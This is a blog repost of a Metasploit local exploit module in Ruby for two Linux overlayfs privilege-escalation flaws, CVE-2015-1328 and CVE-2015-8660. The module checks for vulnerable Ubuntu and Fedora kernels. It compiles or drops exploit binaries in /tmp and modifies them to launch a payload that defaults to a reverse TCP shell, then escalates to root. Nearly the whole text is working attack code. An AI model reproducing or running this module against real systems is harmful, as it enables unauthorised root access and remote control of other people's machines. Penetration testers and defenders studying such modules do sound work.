Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863543537

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Overlayfs Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit two different CVEs related to overlayfs.
          CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
                                            3.16.0-25 (14.10 default) < 3.16.0-41
                                            3.19.0-18 (15.04 default) < 3.19.0-21
          CVE-2015-8660:
              Ubuntu:
                     3.19.0-18 < 3.19.0-43
                     4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
              Fedora:
                     < 4.2.8 (vulnerable, un-tested)
              Red Hat:
                     < 3.10.0-327 (rhel 6, vulnerable, un-tested)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Jun 16 2015',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'CVE-2015-1328', { } ],
            [ 'CVE-2015-8660', { } ]
          ],
        'DefaultTarget'  => 1,
        'DefaultOptions' =>
          {
            'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
          },
        'References'     =>
          [
            [ 'EDB', '39166'], # CVE-2015-8660
            [ 'EDB', '37292'], # CVE-2015-1328
            [ 'CVE', '2015-1328'],
            [ 'CVE', '2015-8660']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def mounts_exist?()
      vprint_status('Checking if mount points exist')
      if target.name == 'CVE-2015-1328'
        if not directory?('/tmp/ns_sploit')
          vprint_good('/tmp/ns_sploit not created')
          return true
        else
          print_error('/tmp/ns_sploit directory exists.  Please delete.')
          return false
        end
      elsif target.name == 'CVE-2015-8660'
        if not directory?('/tmp/haxhax')
          vprint_good('/tmp/haxhax not created')
          return true
        else
          print_error('/tmp/haxhax directory exists.  Please delete.')
          return false
        end
      end
    end

    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      case os_id
      when 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.13.0'
          if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.16.0'
          if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.19.0'
          if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '4.2.0'
          if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      when 'ID=fedora'
        kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
        # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
        # => "4.0.4-301"
        if kernel.release < Gem::Version.new('4.2.8')
          vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660.  Exploitation UNTESTED")
          return true
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if mounts_exist?() && kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    filename = rand_text_alphanumeric(8)
    executable_path = "#{datastore['WritableDir']}/#{filename}"
    payloadname = rand_text_alphanumeric(8)
    payload_path = "#{datastore['WritableDir']}/#{payloadname}"

    def has_prereqs?()
      gcc = cmd_exec('which gcc')
      if gcc.include?('gcc')
        vprint_good('gcc is installed')
      else
        print_error('gcc is not installed.  Compiling will fail.')
      end
      return gcc.include?('gcc')
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def upload_and_chmod(fname, fcontent, cleanup=true)
      print_status "Writing to #{fname} (#{fcontent.size} bytes)"
      rm_f fname
      write_file(fname, fcontent)
      cmd_exec("chmod +x #{fname}")
      if cleanup
        register_file_for_cleanup(fname)
      end
    end

    def on_new_session(session)
      super
      if target.name == 'CVE-2015-1328'
        session.shell_command("/bin/su") #this doesnt work on meterpreter?????
        # we cleanup here instead of earlier since we needed the /bin/su in our new session
        session.shell_command('rm -f /etc/ld.so.preload')
        session.shell_command('rm -f /tmp/ofs-lib.so')
      end
    end

    if compile
      begin
        if target.name == 'CVE-2015-1328'
          # direct copy of code from exploit-db.  There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
          # Also removed the on-the-fly compilation of ofs-lib.c and we do that manually ahead of time, or drop the binary.
          path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', '1328.c')
          fd = ::File.open( path, "rb")
          cve_2015_1328 = fd.read(fd.stat.size)
          fd.close

          # pulled out from 1328.c's LIB define
          path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-1328', 'ofs-lib.c')
          fd = ::File.open( path, "rb")
          ofs_lib = fd.read(fd.stat.size)
          fd.close
        else
          # direct copy of code from exploit-db.  There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
          path = ::File.join( Msf::Config.install_root, 'external', 'source', 'exploits', 'CVE-2015-8660', '8660.c')
          fd = ::File.open( path, "rb")
          cve_2015_8660 = fd.read(fd.stat.size)
          fd.close
        end
      rescue
        compile = false #hdm said external folder is optional and all module should run even if external is deleted.  If we fail to load, default to binaries
      end
    end


    if compile
      if target.name == 'CVE-2015-1328'
        cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
                            "execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
        upload_and_chmod("#{executable_path}.c", cve_2015_1328)
        ofs_path = "#{datastore['WritableDir']}/ofs-lib"
        upload_and_chmod("#{ofs_path}.c", ofs_lib)
        cmd_exec("gcc -fPIC -shared -o #{ofs_path}.so #{ofs_path}.c -ldl -w") # compile dependency file
        register_file_for_cleanup("#{ofs_path}.c")
      else
        cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
                            "os.execl('#{payload_path}','#{payloadname}')")
        upload_and_chmod("#{executable_path}.c", cve_2015_8660)
      end
      vprint_status("Compiling #{executable_path}.c")
      cmd_exec("gcc -o #{executable_path} #{executable_path}.c") # compile
      register_file_for_cleanup(executable_path)
    else
      if target.name == 'CVE-2015-1328'
        path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', '1328')
        fd = ::File.open( path, "rb")
        cve_2015_1328 = fd.read(fd.stat.size)
        fd.close
        upload_and_chmod(executable_path, cve_2015_1328)

        path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-1328', 'ofs-lib.so')
        fd = ::File.open( path, "rb")
        ofs_lib = fd.read(fd.stat.size)
        fd.close
        ofs_path = "#{datastore['WritableDir']}/ofs-lib"
        # dont auto cleanup or else it happens too quickly and we never escalate ourprivs
        upload_and_chmod("#{ofs_path}.so", ofs_lib, false)

        # overwrite with the hardcoded variable names in the compiled versions
        payload_filename = 'lXqzVpYN'
        payload_path = '/tmp/lXqzVpYN'
      else
        path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2015-8660', '8660')
        fd = ::File.open( path, "rb")
        cve_2015_8660 = fd.read(fd.stat.size)
        fd.close
        upload_and_chmod(executable_path, cve_2015_8660)
        # overwrite with the hardcoded variable names in the compiled versions
        payload_filename = '1H0qLaq2'
        payload_path = '/tmp/1H0qLaq2'
      end
    end

    upload_and_chmod(payload_path, generate_payload_exe)
    vprint_status('Exploiting...')
    output = cmd_exec(executable_path)
    output.each_line { |line| vprint_status(line.chomp) }
  end
end